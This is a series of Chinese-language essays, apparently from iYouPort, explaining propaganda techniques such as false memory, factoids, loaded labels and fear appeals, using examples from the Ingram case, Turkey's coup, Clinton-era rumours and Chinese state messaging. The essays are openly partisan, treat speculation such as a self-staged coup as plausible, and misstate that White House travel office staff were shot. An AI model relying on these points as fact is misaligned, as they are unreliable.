上述来自警方笔录。但有趣的是，没有任何证据能证明英格拉姆供认的罪行，上述内容中至少一半根本不可能发生。警察在农场翻了个底朝天也没找到任何屠杀婴儿的证据、所谓做人流的医生也根本不存

在。他家的两个女儿经过多次体检，没发现任何身体损伤的证据，没有伤疤。

但他供认了，虽然绝大多数专家都认为罪行不存在，英格拉姆还是被判了21年有期徒刑。

只有零星的证据能证明两个女儿是从何时开始相信被父亲“性骚扰”的。据悉，这两个姑娘每年都要参加当地教堂举办的一个叫“心连心”的少女静修营，虐待儿童是这个静修营经常谈及的话题。

在1988年的静修营上，一个自称重获新生且具有特异功能的基督徒做了一个预言——“这个房间里有人在少女时代被至少一位亲属骚扰过”。一个女孩立冲上去说她被骚扰过，接下来又一个女孩站出来……在静修营的最后一天，英格拉姆的女儿也“意识到了”，“父亲曾经骚扰自己”。

在当时的环境里，声称自己被性骚扰不仅符合时宜，而且能够被倾注关爱，且产生归属感。

值得注意的是，英格拉姆案并非个案，当时几乎全美国都刮着指认自己父母性骚扰孩子的风潮。 但越来越多的证据显示，其中很多被指认的性骚扰都建立在根本不存在的记忆上。

一些心理治疗过程能通过运用前期劝导，使人产生性虐待的假性记忆。

反过来看英格拉姆，他在接受审问中面对的也是植入虚假记忆的相同手法，比如，他的审问者会告诉他“你想不起来是吧，抑制这种不良记忆是很正常的，人的天性，但我用事实告诉你，那些故事是存在的，balabala”……把英格拉姆置于一个：到底是自己失忆，还是亲生女儿撒谎的两难境地里。

英格拉姆身边的很多人——警察、牧师、家人、顾问，似乎都没否认那些事情的存在。审讯者描述了一些模棱两可的事件，并且不断描述，越描述越详细。

看过纳粹审讯资料的人应该对这种方法不陌生，就是记忆植入。很多心理学实验可证，人的记忆是可以被重建的，如今在正常的罪案调查中都要求审讯避免这点，有些时候反而不容易避免。这种被称为劝导的类似洗脑程式，早在一个多世纪前就有记录。

——未完待续——

原文

警惕微妙的劝导术：伪真相——新闻机构和读者皆需谨慎 - iYouPort

劝导术（完成）

继续前文。

“土耳其的軍方政變今（16）日以失敗落幕，政變的士兵則必須承受民眾的憤怒，國外網站《Oxu.Az》PO出了憤怒的民眾如何對待這些士兵，有些士兵被用皮帶鞭打，有些士兵甚至被斬首，而這些照片已經在國外社群媒體流傳……博斯普魯斯跨海大橋上，棄械投降的政變士兵被憤怒的民眾痛毆，一名士兵甚至當場被從橋上丟下，更有士兵被斬首，景象十分恐怖……”

上述这段报道7月16日土耳其军事政变新闻的段落来自华文媒体。网络上流传着一个叛军被割喉的照片，土耳其文的说明是事发于博斯普鲁斯大桥，但博斯普鲁斯大桥同一时间的其他照片显示，这里显然没有发生大规模的虐杀。

没有一家土耳其媒体，包括反对派媒体、中东的土耳其政府的对头媒体，欧美媒体等提到“虐杀”，唯独华文社交媒体中在疯传。

「图」

「图」

最近几年里，一些批评人士、外国政府和土耳其民众始终批评称，埃尔多安总统领导下的土耳其出现威权政治倾向。尽管在2003年当选总理的埃尔多安在执政初期颇受好评，但2014年他成为该国首位直选产生的总统后，有关他独裁野心的指责便不绝于耳。

埃尔多安试图修改1980年版的现行土耳其宪法，这部宪法正是在上一次成功的军事政变之后制定的。他希望土耳其能引入总统制，赋予自己更大的权力。

上世纪80年代之前的30年里，土耳其几乎每十年都会发生一次军事政

变，而且屡屡成功。而上周五晚间爆发的最近一次政变却在很短时间内便宣告失败。而且，事发后，埃尔多安利用社交媒体煽动老百姓做肉盾、并迅速表态指责“恐怖分子”、遂又要求美国引渡葛兰，各种令人怀疑。有趣的是，土耳其政坛甚至上演了”朝野团结”的一幕；议会里的三个反对党也一致谴责政变行动。

不少迹象能指向同一个结论：这基本上一场注定要失败的“政变”，已有分析指出，其乃”埃尔多安自导自演的可能性是完全存在的。这场失败的军事政变会为埃尔多安加强控制土耳其提供绝佳机会，——鉴于所有政党都支持他，他可以创立一个“广泛共识的时代”，或者利用这次机会来加强自己的个人统治。

然中文网络评论“快手云集”，在极短时间内便得出各种各样的分析文章和观点，却几乎无一靠谱。严重的情绪化加之认知匮乏充斥中文舆论场，虽然线上言论和线下行为存在一定程度上的落差，对他国政治事件的理解也存在隔阂，但中文网民对政治谣言的防范意识如此之低，不禁令人担心。

「图」

「图」

（土耳其政变后，政党罕见团结、逮捕行动仍在继续（路透社））

——伪真相——

美国著名小说家Norman Mailer发明过一个词：伪真相（factoid），他定于为：“那些在杂志和报纸报道之前从未存在过的事实”。这么说有点太文艺了，可以换个说法，就是没有任何证据能证明和支持的“真相”——要么信息本身就是编造的、不存在的，要么就是用以证明“真相”的论据无迹可寻。

伪真相往往让大众认为它是真实的，比如群聊里一些传言、街坊四邻的一些闲话。在法庭上，它被称为传闻，不被接纳和认可。在大众媒体里，它们被称为中伤和影射，违背新闻原则。

大众媒体也许不能让人想其所想，却惊讶地做到了让人们思其所论。不同的人以不同的视角看待这个世界，这种不同视角在今天很可能取决于那些作者、编辑和网络信息发布者每天给我们描绘的图景。

几乎没有人会去追讨来自大众媒体和权威人士（很可能只是粉丝量比较高的博主而已）的资讯的真实性，绝大多数读者也无从查证。80年

代的时候流传着一个调侃式的说法叫“铅字效应”，指的是不论多离谱的信息，只要被印成铅字（也就是印刷发表）都会能博得广泛认同。在平媒逐渐淡出主流领域的今天，这一效应仍然存在，它演变为对权威渠道的轻信，也就是上述。

人们脑海里的图景一旦为自己所接受，就会指引人们的思想和行为。这些图景是首要的社会原则：为人们提供“事实真相”，决定孰轻孰重，以及告诉人们该怎样看待社会。所以我们才不断强调媒体的新闻原则不能丢，尤其是在互联网时代，一切被迫超速运转，思考和求证的过程被高度压缩、吸睛度前所未有的被追求，媒体如果不能时刻坚守原则，其带来的后果很难估量。

「图」

「图」

不论是余音未尽的性侵传闻，还是早前的金重齐被通缉案，都有媒体在报道这些传闻的时候不加深究，仅凭网络搜索来的信息汇集成篇。当然，不否认中国的封锁管控令外媒难以接触到可靠渠道，但在没有确认之前应该将无法确认的细节讲清楚，而不是以想象力去充实你的story。

其实这并不容易做到，媒体对自洽性的需求要高于真实性和完整性，以至于某些报道本身会自动略去一些细节，不论如何，书写出来的信息必须要通过考证，并将考证渠道尽可能展示清楚。这是常识，诸如中国媒体那种通过某地宣传部门去确认一个官员的死亡是自杀还是他杀的笑话，应该不会大面积出现。

赵威事件的性侵传闻中，涉及到这一信息的媒体大多能做到将疑惑体现充分，而金重齐事件中，却有媒体连所杀之人是否国保都会引述网络传言、甚至只是网民推想，之后出现的“已逃到美国”等信息在明显不合理的情况下被舆论广为流传。所幸至此尚未确认该信息有钓鱼执法性质——也只是未曾获悉有传播者因此遭遇抓捕而已——但这种报道的习惯对舆论的影响是很危险的，极容易被权力所利用的。

媒体的一分“透露”，即能引起舆论的十分确认，有趣的是越超乎常理的消息越是如此，甚至以此为据杜撰出更多的伪真相，劝导者便可从中浑水摸鱼。尤其是极权国家的宫廷戏，放出消息的人基本可以怀疑为某一方的政敌，不存在党争的权力斗争反而更复杂，做为媒体，站在哪一方的角度上都是不合理的，因此正规新闻机构大多不会碰这类宫廷戏的线索，为免于被利用。但其吸睛的能力还是被不少花边媒体

爱不释手。它们制造的基本都是伪真相。

「图」

「图」

互联网是文娱的天下，政治一直只占据很少的份额，为了争取更多的点击量和收视率，时政新闻更加卖力地拼搏故事性的精彩，生怕受众会失去兴趣。政治斗争中的各方最喜欢利用这点，著名的莱温斯基 - 克林顿事件就是典型的例子。当时秘密服务组织的一名侦探要站出来作莱温斯基和克林顿通奸的见证人，次日，各大媒体的标题纷纷出现“捉个正着”的字样，还有媒体报道某白宫管理员当着众多陪审员宣称自己亲眼看到莱温斯基和克林顿在一起。当然，此后这些细节都被证明不实。然而，它们却满足了当时几乎全世界的好奇心，引来一场昂贵又布满分歧的弹劾案。

克林顿政府成为很多影射和伪真相的靶子，包括克林顿夫妇未经授权接受了来自底层官员的FBI机密文件的犯罪型指控，也就是文件门事件。以及希拉里不知怎么就和文斯福斯特自杀事件脱不了干系的传闻，而几名白宫旅行办事处的工作人员被枪杀，背后隐藏的原因居然是克林顿夫妇欲将这些职位奖励给支持者（所谓的旅行门事件）。甚至时任总统克林顿在空军一号登机前理发，引起洛杉矶机场空中交通大延误……此后经过了很多年的调查，尤其是被认为不偏袒任何一方的、特别执行官斯塔尔证明了克林顿夫妇在文件门事件和旅行门事件中的清白，舆论才稍有落潮。

伪真相手法在国与国的斗争中也备受青睐。希特勒和他的宣传部长戈培尔深谙此道，根据纳粹的宣传理论，劝服群众最有效的方法就是不断制造并重复虚假的内容。比如，德国民族生来就是统治民族；欧洲正受到犹太人的阴谋威胁等等。当时人们很难辨认这些荒唐话的真伪，没有证据可以证明犹太人阴谋的存在，而恰好犹太人的高智商就是“最佳证明”。由于得到了一些微小的却毫不想干信息的“支持”，那些荒谬的谎言倒显得更加可信了。就如传播某人患有高度传染的致命性疾病的信息，其周边民众为自保只能宁信其有。渗透者为了分化一个组织，经常利用这手，尤其对整体情势处于被动的组织来说，人们时刻保持着警惕、互信度不稳定，这种分化的后果有可能很严重。

一个谎言足以改变现实，一个恶意中伤甚至能改写历史。

「图」

「图」

类似的谣言至今仍被很多政府利用，伊朗政府官员就曾谣传是美国人操纵了伊拉克去进攻科威特，由此作为美国进攻海湾地区的借口。中国宣称有关常设仲裁法院就南海问题做出的裁决背后存在日本的政治意图，引发一众小粉红制造出各种反日反美的舆论充斥互联网。日本外相岸田文雄本月15日在记者会上做出强烈反弹。他说：仲裁员的任命是依据《联合国海洋法公约》手续进行的，没有任何问题。中国的指摘是无的放矢”，并指出，“我认为这样唱反调才是对国际社会法治的挑战。”

伪真相真的能影响人们的判断和认知吗？毕竟它们中某些信息往往明显的不可信。但很多研究可以证明，它的作用丝毫不容小视。关于人们对影射的反应，哈佛心理系教授Daniel Wegner曾做过这样的实验，他要求被试根据新闻报道的提要去判断政治候选人受欢迎的程度。以下我们将该试验中的例子换成中国新闻，以便体会更佳。

比如读到揭露性的信息——《莆田系事件是习近平和李克强斗争的武器》，提问式的质疑——《在狱中的赵威真的被性侵了吗》，对某个不体面行为的否决式说明——《万科争夺战背后绝没有涉及习近平家族》，或者中性标题——《台独艺人惹怒中国网民》。这些标题所隐含的信息都带有强大的劝导性，关注过相关事件的读者目前应该已知它们都存在不同程度上的虚构。（再次强调此处仅借助Daniel Wegner的实验框架）

实验结果一点都不令人意外，对于直接揭露性标题的阅读，其事件被信任的比重超高，引人注目的是，提问式标题也同样会给读者带来很大的对所描述信息的信任感。甚至影射的来源也丝毫不影响最终结果，受众对奇闻逸事的捕捉几乎不在意信息渠道的权威性和可靠性。

之所以展开这样的调查，是受到无数的历史事件启发。在新闻机构被政府政党操控的国家里，类似伪真相几乎充斥着整个传媒业，新闻机构的行为引发了错误的质疑和荒唐的信任，背后的操控者将虚假指责和自己的恶行推卸到他人身上，而媒体不过是一枚被心机调用的棋子。

为什么伪真相有如此大的说服力？大概能想到的原因有三个。

1、很少有人会试图去探究真伪。人们喜欢听从自己信任的朋友说出一些传言，会关注互联网上不择渠道的“新闻”并深信，且不会仔细思考每一个被呈现出来的“事实”究竟合不合逻辑。伪真相能鬼鬼祟祟地

穿透人们对劝导所设下的心理防线。

2、读者顺利接受收伪真相是因为它们常常能满足人们一种或多种心理需要，它就是按照人们内心最深刻的欲求量身打造的。伪真相在流传过程中会被添加进去很多“细节”，粉饰成更符合受众需求的“最佳外观”。

3、最后，也许也是最重要的一点就是，伪真相起到了前期劝导的作用——它真的制造了社会事实。中国明朝末期的宦官魏忠贤在今天成为很多文学艺术作品调侃的对象，比如有段子说，魏忠贤的亲信跑去告诉他“魏王，谁谁在背后骂你呢”，魏忠贤说“杀！”然后又一想，他骂我他一个人知道，现在你也知道，你就是跟他一伙的，“一块杀！”那么骂他的人是会更多还是更少了呢？肯定是更多，而且没有人再敢去告诉他了。不管这个故事是不是真实历史，它很清晰的体现了伪真相引发现实真相的能力。

太多案例证明，人们对伪真相的迷信能持续很长时间，不管他们是深信还是质疑，都会不断去寻求相关“线索”，将信息“补充完整”，而证实者偏见是最为基础的思维陷阱，它会引诱人们只能看到所谓的“证据”，而忽略更多更重要的信息。在商业化需求甚至政治目的的现实背景下，我们强调媒体当审慎的声音显得虚弱无力，只能不断提醒信息消费者小心，莫被诡计多端的劝导者轻易奴役。

—— 未完待续 ——

原文

警惕微妙的劝导术：影响力强大的措辞和想象中的“美女” - iYouPort

劝导术（完成）

继续前文。

文字是如何让政治宣传和大众劝导获得力量的？

一种事物的描述方式和一个行为的表达方式会指导人们的思维、匡正人们对信息的认知反应。宣传者描述一个事物，给其打上标签，下个定义，做为信息的接收者只要认可了这种界定，那么在进入辩论之前就已经达成前期劝导了。

两千多年西塞罗就已经认识到这个简单的劝导规则，西塞罗说，他之所以能帮罗马那些臭名昭著的谋杀者们顺顺当当地洗脱罪名，主要原因之一是他有辩论的能力，那些极其可耻的恶行“并非犯罪”，而是德高望重的善行——受害者才是应该被千刀万剐的恶棍。

上世纪三十年代的研究发现，宣传者喜欢使用那些放在上下文语境中褒贬模糊的词语，比如：一个“更善良、更温和”的人、让我们将国家变得再度“强大”起来、钱能买得到的“最好”的东西、我们必须支持我们的“勇敢、为自由而战”的战士……没有人会去反对善良、温和、强大，以及为自由而战，但在某些具体语境中，它将带有令人鄙视的含义。想象一下，维稳者对维权者宣传“善良温和”，川普说“让我们的国家再度强大”，卖习近平语录的广告说“这是钱能买到的最好的东西”……

以1968年尼克松在竞选中关于越战的言辞为例，他承诺要在越南取得“光荣的和平”。这个词条究竟意味着什么？对某些人来说，光荣的和平指的是即刻从越南撤军，结束这场不公平的战争，而对另一些人来说，这句话则是意味着要战斗，直到美国取得无条件胜利。其真正的意思只能任凭听者自己去诠释，但毫无疑问，尼克松给越战确立了正确的目标。

「图」

「图」

政治标签的威力

南海仲裁结果出炉之前，中国当局以强烈的口吻宣传其乃“废纸一张”，意味：我不认可你的合法性，就可以不尊重你的判定，你也不能拿我怎么样。甚至宣称南海仲裁厅“是违法建筑，应予以拆除”。这种流氓口气并非仅仅是气急败坏歇斯底里，它恰恰能对那些比较无知的民众产生标签化前期劝导。同时佐以爱国主义洗脑基础，其效果不容忽视。

「图」

「图」

图2 注：中国政府制作的海报）

下图是南海仲裁结果出炉后，中国官方宣传机构的措辞：继续强调菲律宾是“违法行为、非法诉求”，“不具备合法性”——将单方面否定伪造为理所当然；指责美国的做法是“投机”，但不提自己的立场，而是提醒“国际社会高度警惕”——劝导策略之一：将“我的观点”变成“我们的观点”，虚构共识。可对照我们在前文中分析的“四步策略”。

「图」

「图」

（图4 注：四个“不”字的排比句，深红色背景暗示情绪）

下图为中国官媒发布的国防部新闻发言人杨宇军的记者会消息，看措辞：“不论仲裁结果如何，将坚定不移捍卫国家主权”——没有人会反对捍卫国家主权，但仲裁结果判定中国在南海不享有主权，也就是说南海在其强调的“捍卫”范围之外。另，纠纷“不会影响中国在南海的主权和权益”，它用的是“影响”而不是损伤或者剥夺，仲裁结果不论如何这句话都能成立。最后那句话，“中国军队将坚定不移捍卫国家主权”，用军队一词暗示备战，随后又强调“维护和平稳定”，也就是不要战争，最后又说“应对各种威胁挑战”，那还是不惜一战。究竟战还是不战？主战和反战的双方读者会各自读出不同的结论。

注意这段文字是发布于习近平定调之前。习言论：19:02分，人民日报：16:31分。

当局之所以如此措辞，源于其对稳定的需求（也就是对冲突的担忧）很强烈，但又不希望自己被视为灰溜溜的输家，这种时候双关语是最佳的选择。众所周知，如果中国既不宣战、也不退出国际海洋公约，那只能意味着接受南海仲裁结果，不论其强调什么、主张什么。

民主派视这些宣传为滑稽和出洋相，但它确实有效果，在仲裁结果出炉后，陆续有多位中国网友在不同平台爆料称，自己的微信朋友圈被“爱国者”刷屏了。12日晚间，中国社交网络上瞬间出现了许多短视频，分析指，都是旧素材拼接的结果，有武警跑步的镜头，还有很多93阅兵前夕运输武器的场面，但还是引来了很多人的激动，却少有人质疑——即便南海开战也用不上陆军啊？

一位记者朋友观察后表示，那些爱国人士中多数平日不怎么关注时政，却在此时被民族主义情绪刺激得跃跃欲试……理论上看，中国当局的政治宣传是很标准的路数，特别是在中国老百姓政治意识和相关知识水平平均不高的情况下，这种宣传足够产生一定效应。

「图」

「图」

对标签的利用在政治宣传中非常常见。希特勒将德国经济问题解释成“赤字威胁”和“犹太人的问题”，从而得以动员德国民众。反堕胎的群体称自己的主张“倾向于生命”——谁会和生命做对呢？支持堕胎的人则称自己是“倾向于选择”——谁会反对拥有选择权呢？战争支持者口中的“低强度冲突”，你要将它乘以十，才有可能接近真实的损失状况；而反战群体则说，“把我们被装入裹尸袋的儿女们带回家”。

政客在诠释社会问题和编造国事日程时会使用诸如社会主义初级阶段、国家／民族特色、改革开放、稳步崛起、加强、进展、主动性、以及各种高大上短语。曾经有一本书名为《语言：控制的主要途径》，作者是美国人，是写给共和党人的，教他们如何“像牛顿一样说话”。该作者将那些双关语汇集成册，并每年给公众人物使用到的最狡猾、最自相矛盾的语言颁奖。如果收集的是中国领导人的措辞，一本书肯定不够用。

你可能会觉得自己根本没有仔细品读那些措辞，甚至有验实证明排版误错也不至于影响理解（就是这句话的样子），怎么可能被这些细节影响到呢？这里需要强调的是，大多数影响不会经由人的意识，正相反是在绕避你的意识，着重于潜意识中的习惯、印象和思维模型，如此方可达成目的。

奥维尔在知名小说《1984》中戏剧性地描述了词语的宣传力量：

“重写不仅是为英格苏克的忠实追随者们的世界观、心理习惯提供适宜的表达方式，更是为了使得一切其他思考方式无处立足。即使人们永永远远采用新说法，而旧说法被遗忘在脑后时，异端思想就会如其字面意义那般不可思议。”

当人们意识到，事实上奥威尔在第二次世界大战期间的职务，是为亲英派编写用以在印度广播的宣传文案时，《1984》这部小说便获得了骇人的新内涵。

劝导术的使用

祝华新把统战说成“给出路”，暗示编外者提意见是“没有出路的”；维稳者对群体事件喊话说“理性”，而不是说“克制”，这里面的微妙区别也不难理解。铺垫同样是重要的一部分，管制会先抓几个大V嫖娼上央视，摆出杀鸡道场；维稳会先布局几百上千荷枪实弹的武警，形成威胁。恐怖分子在策反人质的时候就用这个路子：先让你深信自己肯定会死在这里，而且肯定不可能痛痛快快死，当这个过程达到了目的，忽然给你点好处、表现出心疼你，温言软语，还假装偷偷摸摸的帮你弄点水和食物，当你感恩了，他们就给你暗示一个“活路”，再给点时间“让你思考”。

语言的本质会如影随形地出现在人们的生活当中，它被人们的下意识用来对各种信息划分归类，也正因此，语言具有强大的劝服力量。当人们在用“一个90后的小女孩怎么可能颠覆国家政权”这句话刷屏的时候，赵威的标签就确立了。但当时谁也无法预测事态会如何发展，只是从直觉上认为这样的标签不妥，比如“是不是看不起年轻人？或者看不起女人？”但在普通时政关注者心目中便形成了一个稳固的形象，此后不论是内隐人格的生成、性侵传闻的舆论轰动，还是理性化怪圈，都建立在这个标签上。

人们很容易按照某个事件或某种情境已有的标签去行事。但措辞和标签对人们世界观的影响也能延伸到其他情境中，“适当的时候”便形成自我劝服。

「图」

「图」

想象中的美女

曾经有一些实验证明，“魅力女人”能影响男人们的言行。马克.斯耐特等心理学研究者做过这样的实验：实验中的男人们自愿参加一个叫自由交往的调查，每个男人和另一个房间里的女人被分为一组，规定所有人只能通过电脑用文字交谈，每个男人手上有一张“对面女人”的照片，并让他们信任这张照片的确就是即将跟自己聊天的女人。一半被试手上的照片是一位性感十足的魅力女人，而另一半被试手上的则是一位相貌平平的普通女人。

接下来，认为自己在和一位美丽女人交流的男性被试，反映出幽默可人、八面玲珑等吸引力元素，而另一半认为自己与相貌平平的女人交流的男性被试，则更多表现出比较干涩的应付。更有趣的是，与前者那些男性被试聊天的女性，也表现出女人最闪光的特色，比如温情、自信、活泼可爱等特征，这些特征是被对面的男性激发出来的。换言之，期待造就了“现实”。

心理学者的口头禅之一就是：自我实现预言效应，比如一个孩子经常被老师骂笨、蠢、一无是处，他很可能真的会变蠢变笨，如果一个姑娘总是被夸漂亮，她慢慢就会出现漂亮女人才有的习惯，比如高傲、喜欢打扮和自拍等等（这里并没有对美女的不敬，请不要误会）。

上述一直在强调措辞和标签的宣传作用，但词语并不只是用来欺骗和伪装现实的。游刃有余地在思维中处理、操控文字和概念是人类的特性，人们可以在脑海中创造性地解决问题。考虑到人类思维的灵活性，任何事物都可以有很多称呼方式，这种灵活度为颠覆宣传者的企图提供了关键方法：当我们被告知一个定义时，可以大胆地反问：为什么要这样措辞？有没有其他释义可以更好的诠释这个议题？通过从不同角度观察事件，更深入地思考，从而得到明确的认知，决胜千里。

最后提醒注意的是，词语的前期劝导不可小视，人们使用的称谓和标签往往定义、甚至创造了整个社会现实。对现实的种种解释将指导人们的思想情感和想象，影响人们的行为。希特勒的宣传部长约瑟夫·戈培尔对语言的力量有很准确的描述：

“通过使用足够多的重复和心理暗示，要劝导人们相信一个正方形就是一个圆圈，并非没可能。一个正方形和一个圆圈归根结底是什么呢？区区词语而已，而词语是可以被塑造的，直到它们为人的想法披上伪装的外衣。”

——未完待续——

原文

警惕微妙的劝导术：恐惧诉求——埋下情绪操控思想 - iYouPort

劝导术（完成）

继续前文。

独裁者的手段都差不多，你发现了吗？但每次都有大批的人中招，为什么呢？小心，你的情绪。

> 必须同时批判混进党内、政府里、军队里和文化领域各界里的资产阶级代表人物，清洗这些人，有些则要动他们的职务……这些人是一批反革命的修正主义分子，一旦时机成熟，他们就会夺取政权，由无产阶级专政变为资产阶级专政……这些人物有些已被我们识破了，有些则还没有被识破，有些正在受到我们信用，被培养为我们接班的人……例如赫鲁晓夫那样的人物，他们正睡在我们的身旁……各级党委应立即停止执行《二月提纲》

《中国共产党中央委员会通知》1966年5月16日中共中央政治局扩大会议发出，是文化大革命发起的标志，因其发表日期而被广泛称为“五·一六通知”，由此自上而下动员起成千上万红卫兵进行全方位的阶级斗争。该通知中提到的《二月提纲》虽然是以文化革命小组的名义书写的，但是其立场与三个月后开始的文化大革命有根本性的区别，明确反对将一切矛盾与争议上升为政治因素与阶级斗争等思维方式。

> 中国人心中，一股气憋了百余年。钓鱼岛是警示碑，记录昔日屈辱沧桑，也将成为转折点，见证奋起中国寸土不让的集体意志。这样的意志，将使中国像钢板一样坚硬凝聚。这样的中国，无所畏惧。

2012年9月13日《环球时报》发表《十位将军就钓鱼岛联合发声：做好收拾日本的准备》之后，9月14日，人民日报官方微博发出的反日动员令。

「图」

「图」

> 犹太人将工作视为利用他人的手段。犹太人是使得人民分崩离析的发酵素。这意味着犹太人烧杀抢掠并不得不那样做。犹太人对我们危害太大……犹太人到底瞄准的是什么？这就是将他们的无形世界作为至高无上的暴政统治整个世界……当前我们可以肯定地说再柏林有60万到70万名共产主义分子，一旦任由这人数增长下去，柏林的未来将会怎样？我们必须与这些吞噬德国灵魂的倾向斗争到底！

希特勒对他的国民发表的致辞，之后数百万人追随了纳粹党。

上面三个例子的目的虽然不尽相同，但他们所用的方法却不谋而合，那就是：灌输恐惧——以如果不采取某种行动就将导致极端悲哀的后果来威胁他们的受众。

为了刺激和强化劝导效力而有意激发人们的恐惧感的行为并非只有独裁者才会使用。保险公司也会利用人们的焦虑推销他们的保险单，医生利用病人的恐惧使他们对制定的医疗方案唯命是从……

虽然有些时候，这些骇人的呼吁也建立在理性基础之上，比如宣传戒烟、普及使用安全套的习惯等，但更多时候，它是建立在阴暗的、不理性的恐惧之上的，毛泽东对“被夺权”的恐惧、希特勒对犹太人的恐惧，极权威权最擅长装神弄鬼吓唬国民，用恐惧加固统治，纳粹、苏维埃、红色高棉、阿根廷的军政府、萨达姆等无数政权在此大同小异。

恐惧诉求很强大，因为它分散了人们对议案的细致思考，并将注意力转移到想方设法让自己摆脱恐惧的思索中。不可能理性的恐惧感加强了信息的欺骗性，更不用说还有恐惧自身的残酷，解析恐惧诉求如何发挥作用是很有必要的抵御路径。

并非所有的恐惧诉求都能达成目的，那些宣传毒品可怕后果、安全套重要性的广告似乎并没起到太大作用，那到底是什么样的因素能导致激发恐惧的诉求产生效力呢？

先从一个简单的问题入手：假设你希望在受众心中激起恐惧，以达到诱惑他们转变意见的目的，到底是适度的激发轻微恐惧好，还是让人

们惊恐万状更有效果？

举个例子，你在说服人们驾驶中应该更谨慎，有两种选择，展示那些严重车祸事故的支离破碎和血淋淋，或者弱化这种效应，仅展示松垮的汽车挡板、不断攀升的保险费等后果。情理中都说得过去，一方面惊吓能激发人们采取行动，另方面也不排除过度惊吓影响人们对信息本身的注意，让人无法更好的理解信息和采取行动。这种时候人们更可能产生侥幸心理，认为太惨烈的事只会发生在别人身上。或许这些行动可能会引起的负面后果过于不堪入目，人们的潜意识在避免加入更多的思考。

很多相关实验资料显示，在其他条件都一致的情况下，一个人越是被某一则信息震慑，越是会对其危害性后果采取积极预防行动。震慑强度在某些特定条件下能有效提高恐惧诉求的影响。中国当局刑拘网络发声者、央视审判、监控设施日渐强大，并将这些信息宣传出来，其目的便是如此。虽然大多数人都应该明白，当局要求的“全面可控、全面掌握”，只能令其获取到大量的信息垃圾，反而自行加剧了噪音、拉低管制效果，但仍会被那些强制后门、强制实名、宣传举报的无处不在渲染出的恐慌吓到，从有可能被审查变为自我审查，从“避免被维稳”，变成自我维稳。

恐惧可以是一个很强大的心理激励力量，人们会将所有的思考和能量都集中起来，只为剔除这种令人厌恶的威胁感，如此来便无暇思考有关信息的其他方面问题。

张弛交替 提升效应

有实验证明，通过激发恐惧成功后再解除警报，能获得人们更多温顺服从的表现。比如乱传马路的人被拦截，看起来明显是要开罚单的样子，但递过来的纸不过是一张幽默广告；忽然掏出手枪指着一个人的头，片刻过后再告诉他“认错人了”等等方法，经历过类似场面的被试会表现出更愿意顺从陌生人提出的要求。

实验人员的总结认为，是恐惧的激发和解除分散了人们用于评估要求的注意力，从而有了更多柔顺的表现。恐怖分子和流氓审讯者深知这其中的道理：先对目标酷刑折磨，再辅以“温柔良善”，眩晕和不知所措中，人们更可能会听从操控者的意见。

「图」

「图」

恐惧诉求的适用性

很多理由可以解释为什么常识引导人笃信过多恐惧感只会将人导向迟钝：它确实如此，但是有条件的。实验发现，那些自我感觉良好的人（高自尊群体）往往最可能受重度恐惧刺激影响，而对自己评价不高的人在面对能激发很多恐惧的信息时即刻采取相应行动的可能性比较小，但经过一些迟疑后，他们会同高自尊者一样去采取行动。

低自尊群体或许应对威胁的能力不太强，重度可怕的信息会压倒他们，而当感觉到轻度恐惧的时候可以让他们应对自如。不过整体上看，只要时间充裕、信息真的能带来明确的恐惧感，低自尊群体倒是最有可能立刻采取行动的一类人。

中国社会的整体自尊程度较低，当局长期使用中低强度的恐惧信息刺激，其结果更容易导致自我审查。

要让自尊度高的人同自尊度低的人行为一致也不难，可以通过让他们对防止和改善威胁性局面束手无策来实现。很多研究表明，如果恐惧诉求的接受人发现找不到有效的处理威胁的方法，他们很可能会保持在原地不动，把头埋进沙子里，什么都不做。即便对于高自尊群体也不例外。罗斯福在他的首篇就职演说《我们唯一需要的恐惧就是恐惧本身》一文中就在试图揭露并克服这种效应。

于是相关实验应运而生。结果显示，在激发恐惧的信息中如果包含“怎样、何时何地采取行动”等清晰明确的指示，实现的目的很可能会加倍。需要注意两点：首先你确定自己的信息的确足够给目标群体带来恐惧感，其次要衡量你的指示能不能比较容易做到。

恐惧诉求如果希望效果达到最佳，需要满足四个条件：1、能让人们感觉到足够的恐惧；2、提供了征服恐惧威胁的明确建议；3、所建议的行动能被认为对降低威胁起到直接作用；4、消息接收者信心满满有足够的动力去实现上述建议。信息接受者的注意力首先会集中在令人痛苦的恐惧感上，这种情况下人的大脑除了思考如何摆脱恐惧外几乎不可能思考其他事情，紧接着，宣传者提出一种摆脱恐惧的办法：一种简单可行的回复，最好还能触及到人性本能的冲动（比如文革、反日反美，宣传者理解公众的心理需求），效率会很高。

至此，可以重新审视下开篇中提到的三个案例了，它们就是这样达成目的的。

恐惧诉求提出了一个更宽泛的问题：这种运用到底应不应该？考虑到

它激发和引导人们思想的威力，它的确有可能被滥用——人们可以为某种宣传目的，去编造、利用不合理的恐惧。

作为劝导者，如果你决定利用某种恐惧，至少要保证你所灌输的恐惧是正当的，并且它所帮助的目标对潜在威胁是有警觉的，而非一味的追求透过情感去掩饰问题。如果你不这样做，你所建立起的信誉度可能还不如一只狐狸。作为信息接受者——这些诉求的靶子时，我们应该在回应劝导者前首先弄清“这种恐惧是否恰当”？若非如此，我们也许只能各种瞎忙，不停的做那些可笑的试图阻止天塌下来的无用功。

—— 未完待续 ——

原文

警惕微妙的劝导术：政治宣传和大众劝导——你可能没意识到的信息陷阱 - iYouPort

劝导术（完成）

如今，我们使用“宣传”来代替主导后工业革命时代的大众劝导。宣传这个词20世纪才开始流行，被用于描述第一次世界大战期间以及战后极权主义政权所采用的劝导手法。宣传原本被定义为是通过谎言和欺骗的方法向大众散播扭曲观点和意见。

宣传比劝导更高级在于影响的潜移默化

当学者们开始研究这个课题之后，发现宣传不仅具有邪恶和极权主义的特性，还包含了狡骗之外的东西。于是宣传一词就进化了，变成了：意为通过操纵符号和人类心理的暗示或影响。宣传通过图像、标语以及象征性符号的熟练使用，作用于人的偏见和情感；它的最终目的是要让观点的接收者接受得神不知鬼不觉，还以为原本被灌输的观点是来自于自己的真实想法。

宣传的运用几乎可以追溯到人类文明起源时期。古埃及的象形文字和中美洲文明无处不通过符号和图画来记录一段段美化统治阶级的“历史”。这里的历史打了引号，是因为有案例记载，玛雅文献和遗迹常常会修改（编辑）真正的历史日期，统治者们的享年、天体运行的周期，以及真实事件，这样方便顺水推舟地将现任统治者抬举到至高无上的地位——“他们之所以成为君王因为天时地利人和”。

